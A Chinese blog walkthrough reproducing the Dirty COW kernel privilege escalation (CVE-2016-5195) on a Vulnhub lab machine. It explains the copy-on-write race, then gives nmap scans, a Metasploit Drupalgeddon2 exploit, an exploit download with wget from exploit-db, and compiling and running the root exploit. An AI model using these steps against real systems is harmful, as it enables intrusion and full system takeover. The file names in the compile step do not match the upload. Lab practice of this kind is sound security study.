漏洞复现之Linux脏牛提权漏洞(vulnhub靶场复现)

(部分搜寻的资料用于自学,如有侵犯,联系可删! ———— by 611)

漏洞复现之Linux脏牛提权漏洞(vulnhub靶场)

漏洞介绍

漏洞简介

脏牛内核漏洞是一种本地提权漏洞,该漏洞是由于COW((Copy-on-Write))机制的实现问题导致的。具体来说,该漏洞利用了Copy-on-Write机制中的一个竞态条件(Race Condition),攻击者可以利用这个竞态条件来获取对一个本来只读的文件的写权限,从而提升为本地管理员权限。

形成原因

很多情况下,我们希望能够并行地去处理多个相同的进程(比如我们需要去并行计算一些东西),所以内核中就存在复制进程的操作,而fork()函数就是用来复制进程的函数,它可以拷贝当前进程的内存空间,创建一个新的内存空间,这样我们就拥有了两个完全一样的进程空间。但是这个复制过程是很耗费空间和时间的,因为每个子进程都有和父进程一样大的物理空间,但是这些进程可能并不会执行写的操作,也就是不会对原始的文件进行更改,那这种浪费就是没有必要的,所以我们采取了COW(Copy On Write)技术进行优化。

COW(Copy On Write)技术是一种内存管理技术,它在进程复制时,不会立即为进程分配物理内存,而是为进程建立虚拟的内存空间,将虚拟空间指向物理空间,便于读取文件;只有当需要执行文件写操作的时候,才会复制一份物理内存空间分配给它,然后进程在这个复制完的物理内存空间中进行修改,而不会影响其他进程。换句话说,在COW机制中,当多个进程共享一个只读文件的时候,内核会把该文件的内存映射到这些进程的虚拟地址空间中,这些进程都可以读取该文件的内容,当有进程要修改文件时,就会把这个原始文件的状态改成可写状态,然后内核会将该原始文件复制一份,原始文件再改回只读状态,然后进程就修改这份副本,而原始文件仍然可以被其它进程共享,这就是Copy-on-Write的核心思想。

原始只读文件——>修改为可写状态——>复制原始只读文件——>原始状态改回可读。

但是在这个过程中,存在竞态条件。假如现在多个进程同时共享一个只读文件,那么内核可能会把这个文件复制多次,使得每个进程可以修改,但是在内核将原始只读文件的访问状态从可写改回只读之前,多个进程都可以访问和修改原始文件,导致了竞态条件的产生,如果有恶意进程在这段时间进行了修改,那么修改的就是原始文件,从而产生了漏洞。

该漏洞利用了Copy-on-Write机制中的竞态条件,攻击者可以利用这个竞态条件来获取对一个本来只读的文件的写权限,从而提升为本地管理员权限。

漏洞编号

CVE-2016-5195

漏洞类型

内核竞态条件漏洞

漏洞危害

本地提权

影响版本

Linux kernel>2.6.22的所有Linux系统(即:从2007年发布的2.6.22开始,到2016年10月18日位置,这中间发行的所有Linux系统都受影响)

环境搭建

靶机下载:Vulnhub(https://www.vulnhub.com/entry/lampiao-1,249/)

下载完成后,Vmware载入该虚拟机,即完成靶机搭建。

image-20230324182142068

攻击机:Kali

复现过程

1、打开靶机发现什么都没有,就是需要登录的界面。

image-20230324190547922

2、探测靶机IP,由于这个模拟环境下,Kali攻击机与靶机是在同一个局域网内,所以同网段,那我们就直接用nmap探测存活主机,从而判断出靶机IP地址。

先查看我们攻击机的IP地址为192.168.1.130,所以我们扫描该网段,探测出靶机IP地址为192.168.1.134

nmap 192.168.1.0/24

image-20230324191008891

3、探测靶机开放端口。

nmap -p1-65535 192.168.1.134      //探测192.168.1.134的1到65535端口的状态
或
nmap -PS 192.168.1.134

image-20230324192638861

4、我们发现了一个1898端口,那我们通过IP+端口来访问网站,发现是个可以登录的网站,我们翻到最下面,有一个Power by Drupal

image-20230324193022125

image-20230324193045249

5、我们可以尝试查询Drupal是否有公开漏洞,可以用搜索引擎找,也可以用MSF,这里我们用MSF。

  • 启动MSF
msfconsole     
  • 搜索相关漏洞
search drupal
  • 我们尝试选择一个2018年的进行攻击,看是否能够成功

image-20230324194112489

use exploit/unix/webapp/drupal_drupalgeddon2
  • 显示该模块的可用选项,发现我们需要指定主机和端口,因此我们进行设定,然后开始渗透。
show options

image-20230324195005164

set rhosts 192.168.1.134
set rport 1898
exploit

image-20230324195200572

6、渗透成功,我们查看一下当前的用户,发现不是root用户,证明需要进行本地提权,我们将放在攻击机上的漏洞探针脚本上传到靶机。

getuid

image-20230324200444967

upload /root/Desktop/linux-exploit-suggester.sh /tmp/611.sh

image-20230324200843734

上传后确定上传成功,然后进入shell模式,执行脚本,但是发现被拒绝,我们更改文件的执行权限后再执行,执行成功

shell
cd /tmp
chmod +x 611.sh
./611.sh

image-20230324201331050

7、执行成功后,探测出了相应的信息及漏洞,我们就发现有一个漏洞就是脏牛漏洞(CVE-2016-5195)

image-20230324201554693

image-20230324202358295

8、我们开始进行提权,根据下载地址下载对应的EXP,运行EXP。

wget https://www.exploit-db.com/download/40839      //下载EXP
注意:由于给定的下载地址并不为最优的,我们下载这个官方EXP:https://github.com/gbonacini/CVE-2016-5195,然后从攻击机重新上传到靶机,假定已经上传,文件为40839.cpp。

9、我们进行编译,编译完成后发现多了一个dcow文件,运行dcow文件,成功提权。

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil   //编译exp
python -c 'import pty; pty.spawn("/bin/bash")'   //将简单的shell转换为完全交互式的TTY
./dcow   //执行dcow文件

image-20230324205603610

posted @ 2023-04-03 15:58  6小1  阅读(3317)  评论(0)    收藏  举报